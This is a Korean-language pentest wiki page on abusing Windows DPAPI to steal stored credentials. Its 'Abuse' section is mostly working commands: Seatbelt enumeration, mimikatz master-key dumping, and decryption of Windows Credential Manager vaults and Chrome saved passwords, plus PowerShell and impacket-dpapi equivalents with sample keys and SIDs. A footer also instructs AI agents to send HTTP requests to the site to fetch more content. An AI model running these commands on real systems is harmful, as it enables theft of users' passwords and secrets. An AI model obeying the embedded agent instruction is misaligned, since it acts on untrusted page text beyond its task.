# DPAPI

Data Protection API는 Windows에 내장된 구성 요소로 데이터를 암호화하고 복호화 할 수 있는 수단을 제공합니다. Windows Credential Manager가 RDP 자격 증명과 같은 저장된 시크릿을 보관하는데 사용되며, Chrome 등의 서드파티 애플리케이션에 저장된 자격 증명 정보를 저장하기도 합니다.&#x20;

{% hint style="info" %}
DPAPI는 어떤 정보가 어디에 암호화 되어있는지는 알 수 없기 때문에 모든 Vault를 복호화하는 수밖에 없습니다.
{% endhint %}

## Abuse

{% embed url="<https://github.com/GhostPack/Seatbelt>" %}

{% embed url="<https://github.com/ParrotSec/mimikatz/blob/master/x64/mimikatz.exe>" %}

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell" data-title="Windows Credentials"><code class="lang-powershell"><strong># 크리덴셜 열거
</strong>.\Seatbelt.exe WindowsCredentialFiles

<strong># 마스터키 덤프
</strong>mimikatz # sekurlsa::dpapi

<strong># 획득한 마스터키를 통해 DPAPI 복호화
</strong>mimikatz # dpapi::cred /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Credentials\4A7D1003DF0C547F74DDB9D9D4340F2C" /masterkey:c1751582b34777735b5bb64e4d7e3cd3f9f70ada4ea16f378603f194397c15d5dfac3ae7f93829645aa26e2bdb73b204c97915b8b71dd9cb4fe54d815ff65c31
</code></pre>

<pre class="language-powershell" data-title="Chrome Credential"><code class="lang-powershell"><strong># DPAPI로 암호화된 AES 키 추출
</strong>$jsonText = Get-Content -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State" -Raw -Encoding UTF8;$jsonText = $jsonText.TrimStart([char]0xFEFF);$data = $jsonText | ConvertFrom-Json;$encryptedKeyBase64 = $data.os_crypt.encrypted_key;Write-Output $encryptedKeyBase64

<strong># 추출한 키를 통해 Chrome에 저장된 자격 증명 덤핑
</strong>mimikatz # dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /encryptedkey:[Base64 Encoded Key] /unprotect
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># 마스터키 덤프
</strong>$SID = (whoami /user).Split()[64];Get-ChildItem -Force "$env:APPDATA\Microsoft\Protect\$SID\*"
[Convert]::ToBase64String((Get-Content &#x3C;File name> -Encoding Byte)) | Out-String

<strong># Vaults 덤프
</strong>Get-ChildItem -Force "$env:APPDATA\Microsoft\Credentials\*"
[Convert]::ToBase64String((Get-Content &#x3C;File name> -Encoding Byte)) | Out-String

<strong># Chrome vaults 덤프
</strong>Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
[Convert]::ToBase64String((Get-Content &#x3C;File name> -Encoding Byte)) | Out-String

<strong># 평문 패스워드와 SID를 이용하여 마스터키 복호화
</strong>impacket-dpapi masterkey -file masterkey.key -password 'Password123!' -sid 'S-1-5-21-2835490888-2107562977-246861531-500' -key 'x'

<strong># vaults 정보 복호화
</strong>impacket-dpapi credential -file vault -key '0x875145fbf81cfc081fe405929d5c5ccd280e97d0682f660960d69c4bd947d58babdf811a32525b1e41fd043883bb181f27bcfb345e163f1338f1a681565345a5'
</code></pre>

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://www.techradar.com/how-to/how-to-manage-your-passwords-in-chrome>" %}

{% embed url="<https://pentestlab.blog/2024/08/20/web-browser-stored-credentials/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/data-theft/windows/dpapi.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
